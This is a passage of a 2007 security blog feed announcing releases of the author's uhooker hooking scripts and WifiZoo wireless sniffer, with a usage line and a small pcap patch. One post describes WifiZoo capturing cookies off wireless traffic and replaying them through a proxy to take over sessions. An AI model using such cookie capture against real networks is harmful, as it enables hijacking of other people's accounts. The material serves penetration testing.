2-If you are changing in runtime the code of the&lt;br /&gt;    handler, and you makee a mistake, you'll see what&lt;br /&gt;    caused the error, and you can fix the script/handler&lt;br /&gt;    and move on!.&lt;br /&gt;&lt;br /&gt;  &lt;br /&gt;-and there are probably more things but I didn't write them down and now I dont't remember :).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18555569-5624800254147658518?l=hexale.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hexale.blogspot.com/feeds/5624800254147658518/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18555569&amp;postID=5624800254147658518&amp;isPopup=true' title='8 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/5624800254147658518'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/5624800254147658518'/><link rel='alternate' type='text/html' href='http://hexale.blogspot.com/2007/12/release-uhooker-v13.html' title='Release uhooker v1.3'/><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>8</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18555569.post-7388809072463997696</id><published>2007-12-12T15:07:00.000-03:00</published><updated>2007-12-12T15:10:12.466-03:00</updated><title type='text'>uhooker videos - tcpnet.py video</title><content type='html'>A new video showing how to use the tcpnet.py script, this is a sample script&lt;br /&gt;that allows you to intercept and modify network traffic using an hex editor.&lt;br /&gt;&lt;br /&gt;Embedded Video (only IE I think)&lt;br /&gt;&lt;br /&gt;&lt;a href="http://oss.coresecurity.com/uhooker/doc/uhooker_sendhex_video.html"&gt;http://oss.coresecurity.com/uhooker/doc/uhooker_sendhex_video.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Direct Download&lt;br /&gt;&lt;br /&gt;&lt;a href="http://oss.coresecurity.com/uhooker/doc/uhooker_sendhex.wmv"&gt;http://oss.coresecurity.com/uhooker/doc/uhooker_sendhex.wmv&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18555569-7388809072463997696?l=hexale.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hexale.blogspot.com/feeds/7388809072463997696/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18555569&amp;postID=7388809072463997696&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/7388809072463997696'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/7388809072463997696'/><link rel='alternate' type='text/html' href='http://hexale.blogspot.com/2007/12/uhooker-videos-tcpnetpy-video.html' title='uhooker videos - tcpnet.py video'/><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18555569.post-9126462898947226794</id><published>2007-12-04T09:12:00.000-03:00</published><updated>2007-12-04T09:18:09.236-03:00</updated><title type='text'>Uhooker Videos</title><content type='html'>Hi All!,&lt;br /&gt;&lt;br /&gt;I'm uploading new scripts for uhooker and also new videos showing how these scripts are used, to help you get an idea of the purpose of the scripts.&lt;br /&gt;&lt;br /&gt;I just uploaded a video showing how to use the &lt;a href="http://oss.coresecurity.com/uhooker/doc/index.html#scripts"&gt;Change Connect()&lt;/a&gt; script, you can find it here:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Embedded in browser:&lt;br /&gt;&lt;a href="http://oss.coresecurity.com/uhooker/doc/change_connect_video.html"&gt;&lt;br /&gt;http://oss.coresecurity.com/uhooker/doc/change_connect_video.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Direct Download of .WMV file (if using firefox, you will probably&lt;br /&gt;need to download this one):&lt;br /&gt;&lt;a href="http://oss.coresecurity.com/uhooker/doc/uhooker_changeconnect.wmv"&gt;&lt;br /&gt;http://oss.coresecurity.com/uhooker/doc/uhooker_changeconnect.wmv&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Note: If anyone knows of a free program to do screencasts &amp; convert screencasts&lt;br /&gt;to .SWF files(flash), please let me know. I'm currently doing it using 'Windows&lt;br /&gt;Media Encoder', and I couldn't find a decent program to convert .WMV&lt;br /&gt;to Flash. Any suggestion is welcome.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18555569-9126462898947226794?l=hexale.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hexale.blogspot.com/feeds/9126462898947226794/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18555569&amp;postID=9126462898947226794&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/9126462898947226794'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/9126462898947226794'/><link rel='alternate' type='text/html' href='http://hexale.blogspot.com/2007/12/uhooker-videos.html' title='Uhooker Videos'/><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18555569.post-244125862217475759</id><published>2007-11-30T12:36:00.000-03:00</published><updated>2007-11-30T12:40:26.375-03:00</updated><title type='text'>New 'Change Connect()' uhooker script</title><content type='html'>I uploaded the following uhooker script:&lt;br /&gt;&lt;br /&gt;Change Connect(): This script displays all calls to connect() and allows you to change the IP address:Port of the connection. This is useful for debugging, to redirect traffic to some other place instead of the original server, for example, you can redirect traffic to proxy_hooker and use the 'Visual Fuzzing :)' script to observe/modify traffic.&lt;br /&gt;&lt;br /&gt;Available here:&lt;br /&gt;&lt;a href="http://oss.coresecurity.com/uhooker/doc/index.html#scripts"&gt;http://oss.coresecurity.com/uhooker/doc/index.html#scripts&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Direct Download:&lt;br /&gt;&lt;a href="http://oss.coresecurity.com/uhooker/doc/change_connect.cfg"&gt;http://oss.coresecurity.com/uhooker/doc/change_connect.cfg&lt;/a&gt;&lt;br /&gt;&lt;a href="http://oss.coresecurity.com/uhooker/doc/change_connect.py"&gt;http://oss.coresecurity.com/uhooker/doc/change_connect.py&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18555569-244125862217475759?l=hexale.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hexale.blogspot.com/feeds/244125862217475759/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18555569&amp;postID=244125862217475759&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/244125862217475759'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/244125862217475759'/><link rel='alternate' type='text/html' href='http://hexale.blogspot.com/2007/11/new-change-connect-uhooker-script.html' title='New &apos;Change Connect()&apos; uhooker script'/><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18555569.post-4352582330804718698</id><published>2007-11-29T09:26:00.000-03:00</published><updated>2007-11-29T09:33:32.173-03:00</updated><title type='text'>New &amp; Updated Uhooker scripts</title><content type='html'>I updated the uhooker scripts on the uhooker's web page (http://oss.coresecurity.com/uhooker/doc/index.html) some of them were pre-1.2 but did not work with uhooker v1.2 because of minor things, but anyways, now you can download them and they will work :).&lt;br /&gt;&lt;br /&gt;I also 'improved' and added the following scripts:&lt;br /&gt;&lt;br /&gt;Intercept Network Traffic With Hex Editor: These scripts will intercept sendto(), send() and recv() and for every packet received, an hex editor will be displayed. You can use the hex editor to change bytes of the packet, and then close it to pass the modified packet to the application. Is fuzzing with a GUI! :).&lt;br /&gt;   tcpnet.cfg&lt;br /&gt;   tcpnet.py&lt;br /&gt;   udpnet.cfg&lt;br /&gt;   udpnet.py&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;I'll try to create an screencast so you can get a visual idea of what these scripts do. I'm gonna start uploading some other scripts I think you may find useful.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;And.. I've also changed the 'look and feel' of the uhooker's web site, mmm, if you think is bad now go to web.archive.org and prepare to be amazed!.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18555569-4352582330804718698?l=hexale.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hexale.blogspot.com/feeds/4352582330804718698/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18555569&amp;postID=4352582330804718698&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/4352582330804718698'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/4352582330804718698'/><link rel='alternate' type='text/html' href='http://hexale.blogspot.com/2007/11/new-updated-uhooker-scripts.html' title='New &amp; Updated Uhooker scripts'/><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18555569.post-3749816660496149645</id><published>2007-11-19T08:45:00.000-03:00</published><updated>2007-11-19T08:51:20.550-03:00</updated><title type='text'>Anti-debugging Techniques</title><content type='html'>I just woke up and saw this article that caught my attention (yes, i have a problem, the first thing i read in the morning is not the newspaper but securityfocus.com)&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.securityfocus.com/infocus/1893"&gt;Windows Anti-Debug Reference&lt;/a&gt;&lt;br&gt;&lt;br /&gt;by Nicolas Falliere&lt;br /&gt;&lt;br /&gt;I haven't read it yet, but i'm a sucker for articles/papers with hex numbers and assembler source code :). &lt;br /&gt;&lt;br /&gt;I'll read it later today and make a post if i can think of sthg worth saying about it :).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18555569-3749816660496149645?l=hexale.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hexale.blogspot.com/feeds/3749816660496149645/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18555569&amp;postID=3749816660496149645&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/3749816660496149645'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/3749816660496149645'/><link rel='alternate' type='text/html' href='http://hexale.blogspot.com/2007/11/anti-debugging-techniques.html' title='Anti-debugging Techniques'/><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18555569.post-209880063107469853</id><published>2007-11-17T15:28:00.000-03:00</published><updated>2007-11-17T15:37:36.947-03:00</updated><title type='text'>WifiZoo working on the Nokia N800</title><content type='html'>Yes!, wifizoo works on the Nokia N800! this is very cool! you won't need to carry around your notebook on your next wireless assessment! :)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Thanks go to Matias Brutti, he's the proud owner of the N800 :) and he's the one that made it work. It is actually pretty straightforward, you only need to change a few lines of code.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;For more info and photos, click &lt;a href="http://www.freedomcoder.com.ar/node/95"&gt;here&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18555569-209880063107469853?l=hexale.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hexale.blogspot.com/feeds/209880063107469853/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18555569&amp;postID=209880063107469853&amp;isPopup=true' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/209880063107469853'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/209880063107469853'/><link rel='alternate' type='text/html' href='http://hexale.blogspot.com/2007/11/wifizoo-working-on-nokia-n800.html' title='WifiZoo working on the Nokia N800'/><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18555569.post-3399846558230006502</id><published>2007-11-07T16:29:00.000-03:00</published><updated>2007-11-07T21:02:11.403-03:00</updated><title type='text'>Simple script to automatically generate uhooker hooks</title><content type='html'>I've just uploaded a very simple script that can be used to automatically generate hooks for all the functions exported by a DLL to be used with &lt;a href="http://oss.coresecurity.com/projects/uhooker.htm"&gt;uhooker&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;So, let's say you want to intercept all the functions exported by kernel32.dll? well,&lt;br /&gt;having to write by hand the .cfg file and the .py file with the handlers can be a daunting task :), it has hundreds of functions.&lt;br /&gt;&lt;br /&gt;So, instead of doing that, just use genhooks.py like this:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;genhooks.py -f kernel32.dll -t b -c kernel32.cfg -p kernel32.py&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;-f: specifies the name of the DLL&lt;br /&gt;-t: specifies the hook type. b = before, a = after, * = address (you would normally use b or a)&lt;br /&gt;-c: OPTIONAL. specifies the name of the .cfg file. if it is not specified, the dllname_without_the_extesion.cfg will be used&lt;br /&gt;-p: OPTIONAL. name of the .py file with the hooks for all the functions. if it is not specified the dllname_without_the_extension.py will be used.&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;And that's it. It's a very simple script that I coded 300 hundred times already, the only difference is that now I'm keeping a copy around :).&lt;br /&gt;&lt;br /&gt;The script can be found here:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://oss.coresecurity.com/uhooker/doc/index.html#scripts"&gt;http://oss.coresecurity.com/uhooker/doc/index.html#scripts&lt;/a&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;Direct download link:&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;a href="http://oss.coresecurity.com/uhooker/scripts/genhooks.py"&gt;http://oss.coresecurity.com/uhooker/scripts/genhooks.py&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18555569-3399846558230006502?l=hexale.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hexale.blogspot.com/feeds/3399846558230006502/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18555569&amp;postID=3399846558230006502&amp;isPopup=true' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/3399846558230006502'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/3399846558230006502'/><link rel='alternate' type='text/html' href='http://hexale.blogspot.com/2007/11/simple-script-to-automatically-generate.html' title='Simple script to automatically generate uhooker hooks'/><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18555569.post-3021465226924024521</id><published>2007-11-07T13:11:00.001-03:00</published><updated>2007-11-07T13:11:50.375-03:00</updated><title type='text'>Patching WifiZoo to support kismet dumps/pcap capture files</title><content type='html'>A user emailed me asking for a way to use kismet dumps/pcap capture files with WifiZoo, this is going to be included in the next version of WifiZoo, but you can patch/hack the current version to support kismet dumps/pcap capture files very easily:&lt;br /&gt;&lt;br /&gt;Edit wifizoo.py and change the following code:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;webproxy.start()&lt;br /&gt;print "Waiting..."&lt;br /&gt;&lt;br /&gt;while 1:&lt;br /&gt;&amp;nbsp;&amp;nbsp;# mm, would be better to use callback perhaps. TODO&lt;br /&gt;&amp;nbsp;&amp;nbsp;p = sniff(filter=None, iface=conf.iface, count=1)&lt;br /&gt;&amp;nbsp;&amp;nbsp;pkt = p[0]&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;to:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;webproxy.start()&lt;br /&gt;print "Waiting..."&lt;br /&gt;&lt;br /&gt;#capture.pcap is the name of the capture file. Yes, it's hard-coded :)&lt;br /&gt;pcapr = PcapReader('capture.pcap')&lt;br /&gt;&lt;br /&gt;while 1:&lt;br /&gt;&amp;nbsp;&amp;nbsp;# mm, would be better to use callback perhaps. TODO&lt;br /&gt;&amp;nbsp;&amp;nbsp;#p = sniff(filter=None, iface=conf.iface, count=1)&lt;br /&gt;&amp;nbsp;&amp;nbsp;pkt = pcapr.next() &lt;br /&gt;&amp;nbsp;&amp;nbsp;#pkt = p[0]&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Is a quick hack, but it works.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18555569-3021465226924024521?l=hexale.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hexale.blogspot.com/feeds/3021465226924024521/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18555569&amp;postID=3021465226924024521&amp;isPopup=true' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/3021465226924024521'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/3021465226924024521'/><link rel='alternate' type='text/html' href='http://hexale.blogspot.com/2007/11/patching-wifizoo-to-support-kismet.html' title='Patching WifiZoo to support kismet dumps/pcap capture files'/><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18555569.post-5917846364427613383</id><published>2007-11-02T09:46:00.000-03:00</published><updated>2007-11-02T09:48:03.270-03:00</updated><title type='text'>Numb</title><content type='html'>I'm still here! hang on! soon I'll be releasing a new version of wifizoo, a new version of the pass-the-hash toolkit and also new stuff/scripts and probably a new version of the universal hooker too!&lt;br /&gt;&lt;br /&gt;Soon!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18555569-5917846364427613383?l=hexale.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hexale.blogspot.com/feeds/5917846364427613383/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18555569&amp;postID=5917846364427613383&amp;isPopup=true' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/5917846364427613383'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/5917846364427613383'/><link rel='alternate' type='text/html' href='http://hexale.blogspot.com/2007/11/numb.html' title='Numb'/><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18555569.post-4461203408581191328</id><published>2007-10-02T17:47:00.000-03:00</published><updated>2007-10-02T17:49:24.306-03:00</updated><title type='text'>New version of WifiZoo v1.2</title><content type='html'>WifiZoo v1.2:&lt;br /&gt;&lt;br /&gt;-Bug Fixes &lt;br /&gt;-It now has a web GUI running on localhost:8000, it will hopefully make its use more 'convenient'&lt;br /&gt;-And it also has an 'http proxy' ala ferret/hamster. You can display the captured cookies with the web gui, clicking on a cookie will set that cookie on the wifizoo proxy. Set your browser to use the proxy, and again, hopefully, that will do the trick.&lt;br /&gt;&lt;br /&gt;Updated docs:&lt;br /&gt;&lt;a href="http://community.corest.com/~hochoa/wifizoo/index.html"&gt;http://community.corest.com/~hochoa/wifizoo/index.html&lt;br /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Direct download link:&lt;br /&gt;&lt;a href="http://community.corest.com/~hochoa/wifizoo/wifizoo_v1.2.tgz"&gt;http://community.corest.com/~hochoa/wifizoo/wifizoo_v1.2.tgz&lt;br /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Thanks!,&lt;br /&gt;Hernan&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18555569-4461203408581191328?l=hexale.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hexale.blogspot.com/feeds/4461203408581191328/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18555569&amp;postID=4461203408581191328&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/4461203408581191328'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/4461203408581191328'/><link rel='alternate' type='text/html' href='http://hexale.blogspot.com/2007/10/new-version-of-wifizoo-v12.html' title='New version of WifiZoo v1.2'/><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18555569.post-5606336607267729375</id><published>2007-09-19T16:08:00.000-03:00</published><updated>2007-09-19T16:11:41.246-03:00</updated><title type='text'>WifiZoo and cards without Prism headers</title><content type='html'>If you card does not output PrismHeaders, chances are WifiZoo is going to break, sorry, didn't bother to check that one :). The good news is that I already modified the code to check if prism headers are available or not, and if they are not, the code now can handle that situtation and everything will work fine.&lt;br /&gt;This 'fix' is going to be included in the next version, but if anyone wants the fix right now, please send me an email (hernan [at] gmail.com)  and I'll send you the version that supports cards that do not output prism headers.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18555569-5606336607267729375?l=hexale.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hexale.blogspot.com/feeds/5606336607267729375/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18555569&amp;postID=5606336607267729375&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/5606336607267729375'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/5606336607267729375'/><link rel='alternate' type='text/html' href='http://hexale.blogspot.com/2007/09/wifizoo-and-cards-without-prism-headers.html' title='WifiZoo and cards without Prism headers'/><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18555569.post-1288029957446693164</id><published>2007-09-18T03:11:00.000-03:00</published><updated>2007-09-18T03:21:51.953-03:00</updated><title type='text'>New version of wifizoo v1.1</title><content type='html'>I fixed some bugs, probably added some new ones, and new functionality is also in the new version of WifiZoo. Some of the new functionality is that wifizoo now keeps track of probe requests and can also graph what SSIDs are being 'probe requested' from what SRCs. I find it useful or at least interesting, hope you do to :).&lt;br /&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;You can get it here:&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;a href="http://community.corest.com/~hochoa/wifizoo/index.html"&gt;http://community.corest.com/~hochoa/wifizoo/index.html&lt;/a&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;The direct download link is the following:&lt;br /&gt;&lt;br /&gt;&lt;a  href="http://community.corest.com/~hochoa/wifizoo/wifizoo_v1.1.tgz"&gt;http://community.corest.com/~hochoa/wifizoo/wifizoo_v1.1.tgz&lt;/a&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;(if you click the last link, you miss the graph samples :))&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18555569-1288029957446693164?l=hexale.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hexale.blogspot.com/feeds/1288029957446693164/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18555569&amp;postID=1288029957446693164&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/1288029957446693164'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/1288029957446693164'/><link rel='alternate' type='text/html' href='http://hexale.blogspot.com/2007/09/new-version-of-wifizoo-v11.html' title='New version of wifizoo v1.1'/><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18555569.post-8622564739275403427</id><published>2007-09-07T14:21:00.000-03:00</published><updated>2007-09-07T14:35:49.597-03:00</updated><title type='text'>WifiZoo - playing with 802.11</title><content type='html'>I've been playing around with wireless, heard about &lt;a href="http://www.erratasec.com/ferret.html"&gt;Ferret&lt;/a&gt; from Errata Security which although is nothing spectacular, I do believe is a fun/useful tool to have.&lt;br /&gt;I also wanted a tool to leave unattended, hopping thru all 802.11 channels, go read a book, come back, and get some useful information from it. I also wanted to make &lt;a href="http://community.corest.com/~hochoa/wifizoo/clients.png"&gt;graphs&lt;/a&gt; of stuff, because everybody loves graph, and I do too :). I really believe data representation is very important and changes everything.&lt;br /&gt;&lt;p&gt;&lt;br /&gt;So I basically reinvented the wheel, added some stuff to it, everything using python, and came up with WifiZoo.&lt;br /&gt;&lt;p&gt;&lt;br /&gt;You can check it out at &lt;a href="http://community.corest.com/~hochoa/wifizoo/index.html"&gt;http://community.corest.com/~hochoa/wifizoo/index.html&lt;/a&gt;.  You can find a detailed description of the tool in the previous link.&lt;br /&gt;&lt;p&gt;&lt;br /&gt;Again, is nothing spectacular, but is a fun tool to use on wireless penetration tests, it works, still lots of functionality needs to be added, but again, it gets the job done. For now, I take the tool as a fun exercise to spend time on from time to time :).&lt;br /&gt;&lt;p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18555569-8622564739275403427?l=hexale.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hexale.blogspot.com/feeds/8622564739275403427/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18555569&amp;postID=8622564739275403427&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/8622564739275403427'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/8622564739275403427'/><link rel='alternate' type='text/html' href='http://hexale.blogspot.com/2007/09/wifizoo-playing-with-80211.html' title='WifiZoo - playing with 802.11'/><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' 